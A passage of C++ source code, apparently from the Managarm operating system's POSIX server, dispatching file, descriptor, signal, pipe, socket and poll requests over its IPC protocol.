self->fsContext()->getWorkingDirectory(), req.path(), resolveDontFollow);
if(!pathResult) {
if(pathResult.error() == protocols::fs::Error::illegalOperationTarget) {
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::ILLEGAL_OPERATION_TARGET);
auto ser = resp.SerializeAsString();
auto &&transmit = helix::submitAsync(conversation, helix::Dispatcher::global(),
helix::action(&send_resp, ser.data(), ser.size(), kHelItemChain),
helix::action(&send_data, nullptr, 0));
co_await transmit.async_wait();
HEL_CHECK(send_resp.error());
continue;
} else if(pathResult.error() == protocols::fs::Error::fileNotFound) {
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::FILE_NOT_FOUND);
auto ser = resp.SerializeAsString();
auto &&transmit = helix::submitAsync(conversation, helix::Dispatcher::global(),
helix::action(&send_resp, ser.data(), ser.size(), kHelItemChain),
helix::action(&send_data, nullptr, 0));
co_await transmit.async_wait();
HEL_CHECK(send_resp.error());
continue;
} else if(pathResult.error() == protocols::fs::Error::notDirectory) {
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::NOT_A_DIRECTORY);
auto ser = resp.SerializeAsString();
auto &&transmit = helix::submitAsync(conversation, helix::Dispatcher::global(),
helix::action(&send_resp, ser.data(), ser.size(), kHelItemChain),
helix::action(&send_data, nullptr, 0));
co_await transmit.async_wait();
HEL_CHECK(send_resp.error());
continue;
} else {
std::cout << "posix: Unexpected failure from resolve()" << std::endl;
co_return;
}
}
auto path = pathResult.value();
auto result = co_await path.second->getTarget()->readSymlink(path.second.get());
if(auto error = std::get_if<Error>(&result); error) {
assert(*error == Error::illegalOperationTarget);
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::ILLEGAL_ARGUMENTS);
auto ser = resp.SerializeAsString();
auto &&transmit = helix::submitAsync(conversation, helix::Dispatcher::global(),
helix::action(&send_resp, ser.data(), ser.size(), kHelItemChain),
helix::action(&send_data, nullptr, 0));
co_await transmit.async_wait();
HEL_CHECK(send_resp.error());
}else{
auto &target = std::get<std::string>(result);
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::SUCCESS);
auto ser = resp.SerializeAsString();
auto &&transmit = helix::submitAsync(conversation, helix::Dispatcher::global(),
helix::action(&send_resp, ser.data(), ser.size(), kHelItemChain),
helix::action(&send_data, target.data(), target.size()));
co_await transmit.async_wait();
HEL_CHECK(send_resp.error());
}
}else if(preamble.id() == bragi::message_id<managarm::posix::OpenAtRequest>) {
std::vector<std::byte> tail(preamble.tail_size());
auto [recvTail] = co_await helix_ng::exchangeMsgs(
conversation,
helix_ng::recvBuffer(tail.data(), tail.size())
);
HEL_CHECK(recvTail.error());
auto req = bragi::parse_head_tail<managarm::posix::OpenAtRequest>(recv_head, tail);
if (!req) {
std::cout << "posix: Rejecting request due to decoding failure" << std::endl;
break;
}
if(logRequests || logPaths)
std::cout << "posix: OPENAT path: " << req->path() << std::endl;
if((req->flags() & ~(managarm::posix::OpenFlags::OF_CREATE
| managarm::posix::OpenFlags::OF_EXCLUSIVE
| managarm::posix::OpenFlags::OF_NONBLOCK
| managarm::posix::OpenFlags::OF_CLOEXEC
| managarm::posix::OpenFlags::OF_TRUNC
| managarm::posix::OpenFlags::OF_RDONLY
| managarm::posix::OpenFlags::OF_WRONLY
| managarm::posix::OpenFlags::OF_RDWR
| managarm::posix::OpenFlags::OF_PATH))) {
std::cout << "posix: OPENAT flags not recognized: " << req->flags() << std::endl;
co_await sendErrorResponse(managarm::posix::Errors::ILLEGAL_ARGUMENTS);
continue;
}
SemanticFlags semantic_flags = 0;
if(req->flags() & managarm::posix::OpenFlags::OF_NONBLOCK)
semantic_flags |= semanticNonBlock;
if (req->flags() & managarm::posix::OpenFlags::OF_RDONLY)
semantic_flags |= semanticRead;
else if (req->flags() & managarm::posix::OpenFlags::OF_WRONLY)
semantic_flags |= semanticWrite;
else if (req->flags() & managarm::posix::OpenFlags::OF_RDWR)
semantic_flags |= semanticRead | semanticWrite;
ViewPath relative_to;
smarter::shared_ptr<File, FileHandle> file;
std::shared_ptr<FsLink> target_link;
if(req->fd() == AT_FDCWD) {
relative_to = self->fsContext()->getWorkingDirectory();
} else {
file = self->fileContext()->getFile(req->fd());
if (!file) {
co_await sendErrorResponse(managarm::posix::Errors::BAD_FD);
continue;
}
relative_to = {file->associatedMount(), file->associatedLink()};
}
PathResolver resolver;
resolver.setup(self->fsContext()->getRoot(),
relative_to, req->path());
if(req->flags() & managarm::posix::OpenFlags::OF_CREATE) {
auto resolveResult = co_await resolver.resolve(resolvePrefix);
if(!resolveResult) {
if(resolveResult.error() == protocols::fs::Error::illegalOperationTarget) {
co_await sendErrorResponse(managarm::posix::Errors::ILLEGAL_OPERATION_TARGET);
continue;
} else if(resolveResult.error() == protocols::fs::Error::fileNotFound) {
co_await sendErrorResponse(managarm::posix::Errors::FILE_NOT_FOUND);
continue;
} else if(resolveResult.error() == protocols::fs::Error::notDirectory) {
co_await sendErrorResponse(managarm::posix::Errors::NOT_A_DIRECTORY);
continue;
} else {
std::cout << "posix: Unexpected failure from resolve()" << std::endl;
co_return;
}
}
if(logRequests)
std::cout << "posix: Creating file " << req->path() << std::endl;
auto directory = resolver.currentLink()->getTarget();
auto tailResult = co_await directory->getLink(resolver.nextComponent());
assert(tailResult);
auto tail = tailResult.value();
if(tail) {
if(req->flags() & managarm::posix::OpenFlags::OF_EXCLUSIVE) {
co_await sendErrorResponse(managarm::posix::Errors::ALREADY_EXISTS);
continue;
}else{
auto fileResult = co_await tail->getTarget()->open(
resolver.currentView(), std::move(tail),
semantic_flags);
assert(fileResult);
file = fileResult.value();
assert(file);
}
}else{
assert(directory->superblock());
auto node = co_await directory->superblock()->createRegular();
// Due to races, link() can fail here.
// TODO: Implement a version of link() that eithers links the new node
// or returns the current node without failing.
auto linkResult = co_await directory->link(resolver.nextComponent(), node);
assert(linkResult);
auto link = linkResult.value();
auto fileResult = co_await node->open(resolver.currentView(), std::move(link),
semantic_flags);
assert(fileResult);
file = fileResult.value();
assert(file);
}
}else{
auto resolveResult = co_await resolver.resolve();
if(!resolveResult) {
if(resolveResult.error() == protocols::fs::Error::illegalOperationTarget) {
co_await sendErrorResponse(managarm::posix::Errors::ILLEGAL_OPERATION_TARGET);
continue;
} else if(resolveResult.error() == protocols::fs::Error::fileNotFound) {
co_await sendErrorResponse(managarm::posix::Errors::FILE_NOT_FOUND);
continue;
} else if(resolveResult.error() == protocols::fs::Error::notDirectory) {
co_await sendErrorResponse(managarm::posix::Errors::NOT_A_DIRECTORY);
continue;
} else {
std::cout << "posix: Unexpected failure from resolve()" << std::endl;
co_return;
}
}
auto target = resolver.currentLink()->getTarget();
if(req->flags() & managarm::posix::OpenFlags::OF_PATH) {
auto dummyFile = smarter::make_shared<DummyFile>(resolver.currentView(), resolver.currentLink());
DummyFile::serve(dummyFile);
file = File::constructHandle(std::move(dummyFile));
} else {
auto fileResult = co_await target->open(resolver.currentView(), resolver.currentLink(), semantic_flags);
if(!fileResult) {
if(fileResult.error() == Error::noBackingDevice) {
co_await sendErrorResponse(managarm::posix::Errors::NO_BACKING_DEVICE);
continue;
} else {
std::cout << "posix: Unexpected failure from open()" << std::endl;
co_return;
}
}
assert(fileResult);
file = fileResult.value();
}
}
if(!file) {
if(logRequests)
std::cout << "posix: OPEN failed: file not found" << std::endl;
co_await sendErrorResponse(managarm::posix::Errors::FILE_NOT_FOUND);
continue;
}
if(req->flags() & managarm::posix::OpenFlags::OF_TRUNC) {
auto result = co_await file->truncate(0);
assert(result || result.error() == protocols::fs::Error::illegalOperationTarget);
}
int fd = self->fileContext()->attachFile(file,
req->flags() & managarm::posix::OpenFlags::OF_CLOEXEC);
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::SUCCESS);
resp.set_fd(fd);
auto [sendResp] = co_await helix_ng::exchangeMsgs(
conversation,
helix_ng::sendBragiHeadOnly(resp, frg::stl_allocator{})
);
HEL_CHECK(sendResp.error());
}else if(preamble.id() == bragi::message_id<managarm::posix::CloseRequest>) {
auto req = bragi::parse_head_only<managarm::posix::CloseRequest>(recv_head);
if (!req) {
std::cout << "posix: Rejecting request due to decoding failure" << std::endl;
break;
}
if(logRequests)
std::cout << "posix: CLOSE file descriptor " << req->fd() << std::endl;
self->fileContext()->closeFile(req->fd());
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::SUCCESS);
auto [sendResp] = co_await helix_ng::exchangeMsgs(
conversation,
helix_ng::sendBragiHeadOnly(resp, frg::stl_allocator{})
);
HEL_CHECK(sendResp.error());
}else if(req.request_type() == managarm::posix::CntReqType::DUP) {
if(logRequests)
std::cout << "posix: DUP" << std::endl;
auto file = self->fileContext()->getFile(req.fd());
if (!file) {
helix::SendBuffer send_resp;
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::BAD_FD);
auto ser = resp.SerializeAsString();
auto &&transmit = helix::submitAsync(conversation, helix::Dispatcher::global(),
helix::action(&send_resp, ser.data(), ser.size()));
co_await transmit.async_wait();
HEL_CHECK(send_resp.error());
continue;
}
if(req.flags() & ~(managarm::posix::OpenFlags::OF_CLOEXEC)) {
helix::SendBuffer send_resp;
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::ILLEGAL_ARGUMENTS);
auto ser = resp.SerializeAsString();
auto &&transmit = helix::submitAsync(conversation, helix::Dispatcher::global(),
helix::action(&send_resp, ser.data(), ser.size()));
co_await transmit.async_wait();
HEL_CHECK(send_resp.error());
continue;
}
int newfd = self->fileContext()->attachFile(file,
req.flags() & managarm::posix::OpenFlags::OF_CLOEXEC);
helix::SendBuffer send_resp;
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::SUCCESS);
resp.set_fd(newfd);
auto ser = resp.SerializeAsString();
auto &&transmit = helix::submitAsync(conversation, helix::Dispatcher::global(),
helix::action(&send_resp, ser.data(), ser.size()));
co_await transmit.async_wait();
HEL_CHECK(send_resp.error());
}else if(req.request_type() == managarm::posix::CntReqType::DUP2) {
if(logRequests)
std::cout << "posix: DUP2" << std::endl;
auto file = self->fileContext()->getFile(req.fd());
if (!file || req.newfd() < 0) {
helix::SendBuffer send_resp;
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::BAD_FD);
auto ser = resp.SerializeAsString();
auto &&transmit = helix::submitAsync(conversation, helix::Dispatcher::global(),
helix::action(&send_resp, ser.data(), ser.size()));
co_await transmit.async_wait();
HEL_CHECK(send_resp.error());
continue;
}
if(req.flags()) {
helix::SendBuffer send_resp;
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::ILLEGAL_ARGUMENTS);
auto ser = resp.SerializeAsString();
auto &&transmit = helix::submitAsync(conversation, helix::Dispatcher::global(),
helix::action(&send_resp, ser.data(), ser.size()));
co_await transmit.async_wait();
HEL_CHECK(send_resp.error());
continue;
}
self->fileContext()->attachFile(req.newfd(), file);
helix::SendBuffer send_resp;
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::SUCCESS);
auto ser = resp.SerializeAsString();
auto &&transmit = helix::submitAsync(conversation, helix::Dispatcher::global(),
helix::action(&send_resp, ser.data(), ser.size()));
co_await transmit.async_wait();
HEL_CHECK(send_resp.error());
}else if(preamble.id() == bragi::message_id<managarm::posix::IsTtyRequest>) {
auto req = bragi::parse_head_only<managarm::posix::IsTtyRequest>(recv_head);
if (!req) {
std::cout << "posix: Rejecting request due to decoding failure" << std::endl;
break;
}
if(logRequests)
std::cout << "posix: IS_TTY" << std::endl;
auto file = self->fileContext()->getFile(req->fd());
if(!file) {
co_await sendErrorResponse(managarm::posix::Errors::NO_SUCH_FD);
continue;
}
helix::SendBuffer send_resp;
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::SUCCESS);
resp.set_mode(file->isTerminal());
auto [sendResp] = co_await helix_ng::exchangeMsgs(
conversation,
helix_ng::sendBragiHeadOnly(resp, frg::stl_allocator{})
);
HEL_CHECK(sendResp.error());
}else if(req.request_type() == managarm::posix::CntReqType::TTY_NAME) {
if(logRequests)
std::cout << "posix: TTY_NAME" << std::endl;
helix::SendBuffer send_resp;
std::cout << "\e[31mposix: Fix TTY_NAME\e[39m" << std::endl;
managarm::posix::SvrResponse resp;
resp.set_path("/dev/ttyS0");
resp.set_error(managarm::posix::Errors::SUCCESS);
auto ser = resp.SerializeAsString();
auto &&transmit = helix::submitAsync(conversation, helix::Dispatcher::global(),
helix::action(&send_resp, ser.data(), ser.size()));
co_await transmit.async_wait();
HEL_CHECK(send_resp.error());
}else if(req.request_type() == managarm::posix::CntReqType::GETCWD) {
if(logRequests)
std::cout << "posix: GETCWD" << std::endl;
auto dir = self->fsContext()->getWorkingDirectory();
std::string path = "/";
while(true) {
if(dir == self->fsContext()->getRoot())
break;
// If we are at the origin of a mount point, traverse that mount point.
ViewPath traversed;
if(dir.second == dir.first->getOrigin()) {
if(!dir.first->getParent())
break;
auto anchor = dir.first->getAnchor();
assert(anchor); // Non-root mounts must have anchors in their parents.
traversed = ViewPath{dir.first->getParent(), anchor};
}else{
traversed = dir;
}
auto owner = traversed.second->getOwner();
assert(owner); // Otherwise, we would have been at the root.
path = "/" + traversed.second->getName() + path;
dir = ViewPath{traversed.first, owner->treeLink()};
}
helix::SendBuffer send_resp;
helix::SendBuffer send_path;
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::SUCCESS);
resp.set_size(path.size());
auto ser = resp.SerializeAsString();
auto &&transmit = helix::submitAsync(conversation, helix::Dispatcher::global(),
helix::action(&send_resp, ser.data(), ser.size(), kHelItemChain),
helix::action(&send_path, path.data(),
std::min(static_cast<size_t>(req.size()), path.size() + 1)));
co_await transmit.async_wait();
HEL_CHECK(send_resp.error());
HEL_CHECK(send_path.error());
}else if(preamble.id() == managarm::posix::UnlinkAtRequest::message_id) {
std::vector<std::byte> tail(preamble.tail_size());
auto [recv_tail] = co_await helix_ng::exchangeMsgs(
conversation,
helix_ng::recvBuffer(tail.data(), tail.size())
);
HEL_CHECK(recv_tail.error());
auto req = bragi::parse_head_tail<managarm::posix::UnlinkAtRequest>(recv_head, tail);
if (!req) {
std::cout << "posix: Rejecting request due to decoding failure" << std::endl;
break;
}
if(logRequests || logPaths)
std::cout << "posix: UNLINKAT path: " << req->path() << std::endl;
ViewPath relative_to;
smarter::shared_ptr<File, FileHandle> file;
std::shared_ptr<FsLink> target_link;
if(req->flags()) {
if(req->flags() & AT_REMOVEDIR) {
std::cout << "posix: UNLINKAT flag AT_REMOVEDIR handling unimplemented" << std::endl;
} else {
std::cout << "posix: UNLINKAT flag handling unimplemented with unknown flag: " << req->flags() << std::endl;
co_await sendErrorResponse(managarm::posix::Errors::ILLEGAL_ARGUMENTS);
}
}
if(req->fd() == AT_FDCWD) {
relative_to = self->fsContext()->getWorkingDirectory();
} else {
file = self->fileContext()->getFile(req->fd());
if (!file) {
co_await sendErrorResponse(managarm::posix::Errors::BAD_FD);
continue;
}
relative_to = {file->associatedMount(), file->associatedLink()};
}
PathResolver resolver;
resolver.setup(self->fsContext()->getRoot(),
relative_to, req->path());
auto resolveResult = co_await resolver.resolve();
if(!resolveResult) {
if(resolveResult.error() == protocols::fs::Error::illegalOperationTarget) {
co_await sendErrorResponse(managarm::posix::Errors::ILLEGAL_OPERATION_TARGET);
continue;
} else if(resolveResult.error() == protocols::fs::Error::fileNotFound) {
co_await sendErrorResponse(managarm::posix::Errors::FILE_NOT_FOUND);
continue;
} else if(resolveResult.error() == protocols::fs::Error::notDirectory) {
co_await sendErrorResponse(managarm::posix::Errors::NOT_A_DIRECTORY);
continue;
} else {
std::cout << "posix: Unexpected failure from resolve()" << std::endl;
co_return;
}
}
target_link = resolver.currentLink();
auto owner = target_link->getOwner();
if(!owner) {
co_await sendErrorResponse(managarm::posix::Errors::RESOURCE_IN_USE);
continue;
}
auto result = co_await owner->unlink(target_link->getName());
if(!result) {
if(result.error() == Error::noSuchFile) {
co_await sendErrorResponse(managarm::posix::Errors::FILE_NOT_FOUND);
continue;
}else{
std::cout << "posix: Unexpected failure from unlink()" << std::endl;
co_return;
}
}
co_await sendErrorResponse(managarm::posix::Errors::SUCCESS);
}else if(preamble.id() == managarm::posix::RmdirRequest::message_id) {
std::vector<std::byte> tail(preamble.tail_size());
auto [recv_tail] = co_await helix_ng::exchangeMsgs(
conversation,
helix_ng::recvBuffer(tail.data(), tail.size())
);
HEL_CHECK(recv_tail.error());
auto req = bragi::parse_head_tail<managarm::posix::RmdirRequest>(recv_head, tail);
if (!req) {
std::cout << "posix: Rejecting request due to decoding failure" << std::endl;
break;
}
if(logRequests || logPaths)
std::cout << "posix: RMDIR " << req->path() << std::endl;
std::cout << "\e[31mposix: RMDIR: always removes the directory, even when not empty\e[39m" << std::endl;
std::shared_ptr<FsLink> target_link;
PathResolver resolver;
resolver.setup(self->fsContext()->getRoot(), self->fsContext()->getWorkingDirectory(),
req->path());
auto resolveResult = co_await resolver.resolve();
if(!resolveResult) {
if(resolveResult.error() == protocols::fs::Error::illegalOperationTarget) {
co_await sendErrorResponse(managarm::posix::Errors::ILLEGAL_OPERATION_TARGET);
continue;
} else if(resolveResult.error() == protocols::fs::Error::fileNotFound) {
co_await sendErrorResponse(managarm::posix::Errors::FILE_NOT_FOUND);
continue;
} else if(resolveResult.error() == protocols::fs::Error::notDirectory) {
co_await sendErrorResponse(managarm::posix::Errors::NOT_A_DIRECTORY);
continue;
} else {
std::cout << "posix: Unexpected failure from resolve()" << std::endl;
co_return;
}
}
target_link = resolver.currentLink();
auto owner = target_link->getOwner();
auto result = co_await owner->rmdir(target_link->getName());
if(!result) {
std::cout << "posix: Unexpected failure from rmdir()" << std::endl;
co_return;
}
co_await sendErrorResponse(managarm::posix::Errors::SUCCESS);
}else if(req.request_type() == managarm::posix::CntReqType::FD_GET_FLAGS) {
if(logRequests)
std::cout << "posix: FD_GET_FLAGS" << std::endl;
helix::SendBuffer send_resp;
auto descriptor = self->fileContext()->getDescriptor(req.fd());
if(!descriptor) {
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::NO_SUCH_FD);
auto ser = resp.SerializeAsString();
auto &&transmit = helix::submitAsync(conversation, helix::Dispatcher::global(),
helix::action(&send_resp, ser.data(), ser.size()));
co_await transmit.async_wait();
HEL_CHECK(send_resp.error());
continue;
}
int flags = 0;
if(descriptor->closeOnExec)
flags |= FD_CLOEXEC;
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::SUCCESS);
resp.set_flags(flags);
auto ser = resp.SerializeAsString();
auto &&transmit = helix::submitAsync(conversation, helix::Dispatcher::global(),
helix::action(&send_resp, ser.data(), ser.size()));
co_await transmit.async_wait();
HEL_CHECK(send_resp.error());
}else if(req.request_type() == managarm::posix::CntReqType::FD_SET_FLAGS) {
if(logRequests)
std::cout << "posix: FD_SET_FLAGS" << std::endl;
if(req.flags() & ~FD_CLOEXEC) {
std::cout << "posix: FD_SET_FLAGS unknown flags: " << req.flags() << std::endl;
co_await sendErrorResponse(managarm::posix::Errors::ILLEGAL_ARGUMENTS);
continue;
}
int closeOnExec = req.flags() & FD_CLOEXEC;
if(self->fileContext()->setDescriptor(req.fd(), closeOnExec) != Error::success) {
co_await sendErrorResponse(managarm::posix::Errors::NO_SUCH_FD);
continue;
}
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::SUCCESS);
auto ser = resp.SerializeAsString();
auto [send_resp] = co_await helix_ng::exchangeMsgs(conversation,
helix_ng::sendBuffer(ser.data(), ser.size()));
HEL_CHECK(send_resp.error());
}else if(preamble.id() == bragi::message_id<managarm::posix::IoctlFioclexRequest>) {
auto req = bragi::parse_head_only<managarm::posix::IoctlFioclexRequest>(recv_head);
if (!req) {
std::cout << "posix: Rejecting request due to decoding failure" << std::endl;
break;
}
if(logRequests)
std::cout << "posix: FIOCLEX" << std::endl;
if(self->fileContext()->setDescriptor(req->fd(), true) != Error::success) {
co_await sendErrorResponse(managarm::posix::Errors::NO_SUCH_FD);
continue;
}
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::SUCCESS);
auto ser = resp.SerializeAsString();
auto [send_resp] = co_await helix_ng::exchangeMsgs(conversation,
helix_ng::sendBuffer(ser.data(), ser.size()));
HEL_CHECK(send_resp.error());
}else if(req.request_type() == managarm::posix::CntReqType::SIG_ACTION) {
if(logRequests)
std::cout << "posix: SIG_ACTION" << std::endl;
if(req.flags() & ~(SA_ONSTACK | SA_SIGINFO | SA_RESETHAND | SA_NODEFER | SA_RESTART | SA_NOCLDSTOP)) {
std::cout << "\e[31mposix: Unknown SIG_ACTION flags: 0x"
<< std::hex << req.flags()
<< std::dec << "\e[39m" << std::endl;
assert(!"Flags not implemented");
}
helix::SendBuffer send_resp;
managarm::posix::SvrResponse resp;
if(req.sig_number() <= 0 || req.sig_number() > 64) {
resp.set_error(managarm::posix::Errors::ILLEGAL_ARGUMENTS);
auto ser = resp.SerializeAsString();
auto &&transmit = helix::submitAsync(conversation, helix::Dispatcher::global(),
helix::action(&send_resp, ser.data(), ser.size()));
co_await transmit.async_wait();
HEL_CHECK(send_resp.error());
continue;
}
SignalHandler saved_handler;
if(req.mode()) {
SignalHandler handler;
if(req.sig_handler() == uintptr_t(-2)) {
handler.disposition = SignalDisposition::none;
}else if(req.sig_handler() == uintptr_t(-3)) {
handler.disposition = SignalDisposition::ignore;
}else{
handler.disposition = SignalDisposition::handle;
handler.handlerIp = req.sig_handler();
}
handler.flags = 0;
handler.mask = req.sig_mask();
handler.restorerIp = req.sig_restorer();
if(req.flags() & SA_SIGINFO)
handler.flags |= signalInfo;
if(req.flags() & SA_RESETHAND)
handler.flags |= signalOnce;
if(req.flags() & SA_NODEFER)
handler.flags |= signalReentrant;
if(req.flags() & SA_ONSTACK)
std::cout << "\e[31mposix: Ignoring SA_ONSTACK\e[39m" << std::endl;
if(req.flags() & SA_RESTART)
std::cout << "\e[31mposix: Ignoring SA_RESTART\e[39m" << std::endl;
if(req.flags() & SA_NOCLDSTOP)
std::cout << "\e[31mposix: Ignoring SA_NOCLDSTOP\e[39m" << std::endl;
saved_handler = self->signalContext()->changeHandler(req.sig_number(), handler);
}else{
saved_handler = self->signalContext()->getHandler(req.sig_number());
}
int saved_flags = 0;
if(saved_handler.flags & signalInfo)
saved_flags |= SA_SIGINFO;
if(saved_handler.flags & signalOnce)
saved_flags |= SA_RESETHAND;
if(saved_handler.flags & signalReentrant)
saved_flags |= SA_NODEFER;
resp.set_error(managarm::posix::Errors::SUCCESS);
resp.set_flags(saved_flags);
resp.set_sig_mask(saved_handler.mask);
if(saved_handler.disposition == SignalDisposition::handle) {
resp.set_sig_handler(saved_handler.handlerIp);
resp.set_sig_restorer(saved_handler.restorerIp);
}else if(saved_handler.disposition == SignalDisposition::none) {
resp.set_sig_handler(-2);
}else{
assert(saved_handler.disposition == SignalDisposition::ignore);
resp.set_sig_handler(-3);
}
auto ser = resp.SerializeAsString();
auto &&transmit = helix::submitAsync(conversation, helix::Dispatcher::global(),
helix::action(&send_resp, ser.data(), ser.size()));
co_await transmit.async_wait();
HEL_CHECK(send_resp.error());
}else if(req.request_type() == managarm::posix::CntReqType::PIPE_CREATE) {
if(logRequests)
std::cout << "posix: PIPE_CREATE" << std::endl;
assert(!(req.flags() & ~(O_CLOEXEC | O_NONBLOCK)));
bool nonBlock = false;
if(req.flags() & O_NONBLOCK)
nonBlock = true;
helix::SendBuffer send_resp;
auto pair = fifo::createPair(nonBlock);
auto r_fd = self->fileContext()->attachFile(std::get<0>(pair),
req.flags() & O_CLOEXEC);
auto w_fd = self->fileContext()->attachFile(std::get<1>(pair),
req.flags() & O_CLOEXEC);
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::SUCCESS);
resp.add_fds(r_fd);
resp.add_fds(w_fd);
auto ser = resp.SerializeAsString();
auto &&transmit = helix::submitAsync(conversation, helix::Dispatcher::global(),
helix::action(&send_resp, ser.data(), ser.size()));
co_await transmit.async_wait();
HEL_CHECK(send_resp.error());
}else if(req.request_type() == managarm::posix::CntReqType::SETSID) {
if(logRequests)
std::cout << "posix: SETSID" << std::endl;
managarm::posix::SvrResponse resp;
if(self->pgPointer()->getSession()->getSessionId() == self->pid()) {
co_await sendErrorResponse(managarm::posix::Errors::ACCESS_DENIED);
continue;
}
auto session = TerminalSession::initializeNewSession(self.get());
resp.set_error(managarm::posix::Errors::SUCCESS);
resp.set_sid(session->getSessionId());
auto ser = resp.SerializeAsString();
auto [send_resp] = co_await helix_ng::exchangeMsgs(conversation,
helix_ng::sendBuffer(ser.data(), ser.size()));
HEL_CHECK(send_resp.error());
}else if(preamble.id() == managarm::posix::SocketRequest::message_id) {
auto req = bragi::parse_head_only<managarm::posix::SocketRequest>(recv_head);
if (!req) {
std::cout << "posix: Rejecting request due to decoding failure" << std::endl;
break;
}
if(logRequests)
std::cout << "posix: SOCKET" << std::endl;
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::SUCCESS);
assert(!(req->flags() & ~(SOCK_NONBLOCK | SOCK_CLOEXEC)));
smarter::shared_ptr<File, FileHandle> file;
if(req->domain() == AF_UNIX) {
assert(req->socktype() == SOCK_DGRAM || req->socktype() == SOCK_STREAM
|| req->socktype() == SOCK_SEQPACKET);
assert(!req->protocol());
file = un_socket::createSocketFile(req->flags() & SOCK_NONBLOCK);
}else if(req->domain() == AF_NETLINK) {
assert(req->socktype() == SOCK_RAW || req->socktype() == SOCK_DGRAM);
file = nl_socket::createSocketFile(req->protocol());
} else if (req->domain() == AF_INET) {
file = co_await extern_socket::createSocket(
co_await net::getNetLane(),
req->domain(),
req->socktype(), req->protocol(),
req->flags() & SOCK_NONBLOCK);
}else{
throw std::runtime_error("posix: Handle unknown protocol families");
}
auto fd = self->fileContext()->attachFile(file,
req->flags() & SOCK_CLOEXEC);
resp.set_fd(fd);
auto [send_resp] = co_await helix_ng::exchangeMsgs(
conversation,
helix_ng::sendBragiHeadOnly(resp, frg::stl_allocator{})
);
HEL_CHECK(send_resp.error());
}else if(preamble.id() == managarm::posix::SockpairRequest::message_id) {
auto req = bragi::parse_head_only<managarm::posix::SockpairRequest>(recv_head);
if (!req) {
std::cout << "posix: Rejecting request due to decoding failure" << std::endl;
break;
}
if(logRequests)
std::cout << "posix: SOCKPAIR" << std::endl;
assert(!(req->flags() & ~(SOCK_NONBLOCK | SOCK_CLOEXEC)));
if(req->flags() & SOCK_NONBLOCK)
std::cout << "\e[31mposix: socketpair(SOCK_NONBLOCK)"
" is not implemented correctly\e[39m" << std::endl;
assert(req->domain() == AF_UNIX);
assert(req->socktype() == SOCK_DGRAM || req->socktype() == SOCK_STREAM
|| req->socktype() == SOCK_SEQPACKET);
assert(!req->protocol());
auto pair = un_socket::createSocketPair(self.get());
auto fd0 = self->fileContext()->attachFile(std::get<0>(pair),
req->flags() & SOCK_CLOEXEC);
auto fd1 = self->fileContext()->attachFile(std::get<1>(pair),
req->flags() & SOCK_CLOEXEC);
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::SUCCESS);
resp.add_fds(fd0);
resp.add_fds(fd1);
auto [send_resp] = co_await helix_ng::exchangeMsgs(
conversation,
helix_ng::sendBragiHeadOnly(resp, frg::stl_allocator{})
);
HEL_CHECK(send_resp.error());
}else if(preamble.id() == managarm::posix::AcceptRequest::message_id) {
auto req = bragi::parse_head_only<managarm::posix::AcceptRequest>(recv_head);
if (!req) {
std::cout << "posix: Rejecting request due to decoding failure" << std::endl;
break;
}
if(logRequests)
std::cout << "posix: ACCEPT" << std::endl;
auto sockfile = self->fileContext()->getFile(req->fd());
if(!sockfile) {
co_await sendErrorResponse(managarm::posix::Errors::BAD_FD);
continue;
}
auto newfileResult = co_await sockfile->accept(self.get());
if(!newfileResult) {
assert(newfileResult.error() == Error::wouldBlock);
co_await sendErrorResponse(managarm::posix::Errors::WOULD_BLOCK);
continue;
}
auto newfile = newfileResult.value();
auto fd = self->fileContext()->attachFile(std::move(newfile));
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::SUCCESS);
resp.set_fd(fd);
auto [send_resp] = co_await helix_ng::exchangeMsgs(
conversation,
helix_ng::sendBragiHeadOnly(resp, frg::stl_allocator{})
);
HEL_CHECK(send_resp.error());
}else if(req.request_type() == managarm::posix::CntReqType::EPOLL_CALL) {
if(logRequests)
std::cout << "posix: EPOLL_CALL" << std::endl;
helix::SendBuffer send_resp;
// Since file descriptors may appear multiple times in a poll() call,
// we need to de-duplicate them here.
std::unordered_map<int, unsigned int> fdsToEvents;
auto epfile = epoll::createFile();
assert(req.fds_size() == req.events_size());
bool errorOut = false;
for(size_t i = 0; i < req.fds_size(); i++) {
auto [mapIt, inserted] = fdsToEvents.insert({req.fds(i), 0});
if(!inserted)
continue;
auto file = self->fileContext()->getFile(req.fds(i));
if(!file) {
// poll() is supposed to fail on a per-FD basis.
mapIt->second = POLLNVAL;
continue;
}
auto locked = file->weakFile().lock();
assert(locked);
// Translate POLL events to EPOLL events.
if(req.events(i) & ~(POLLIN | POLLPRI | POLLOUT | POLLRDHUP | POLLERR | POLLHUP
| POLLNVAL)) {
std::cout << "\e[31mposix: Unexpected events for poll()\e[39m" << std::endl;
co_await sendErrorResponse(managarm::posix::Errors::ILLEGAL_ARGUMENTS);
errorOut = true;
break;
}
unsigned int mask = 0;
if(req.events(i) & POLLIN) mask |= EPOLLIN;
if(req.events(i) & POLLOUT) mask |= EPOLLOUT;
if(req.events(i) & POLLPRI) mask |= EPOLLPRI;
if(req.events(i) & POLLRDHUP) mask |= EPOLLRDHUP;
if(req.events(i) & POLLERR) mask |= EPOLLERR;
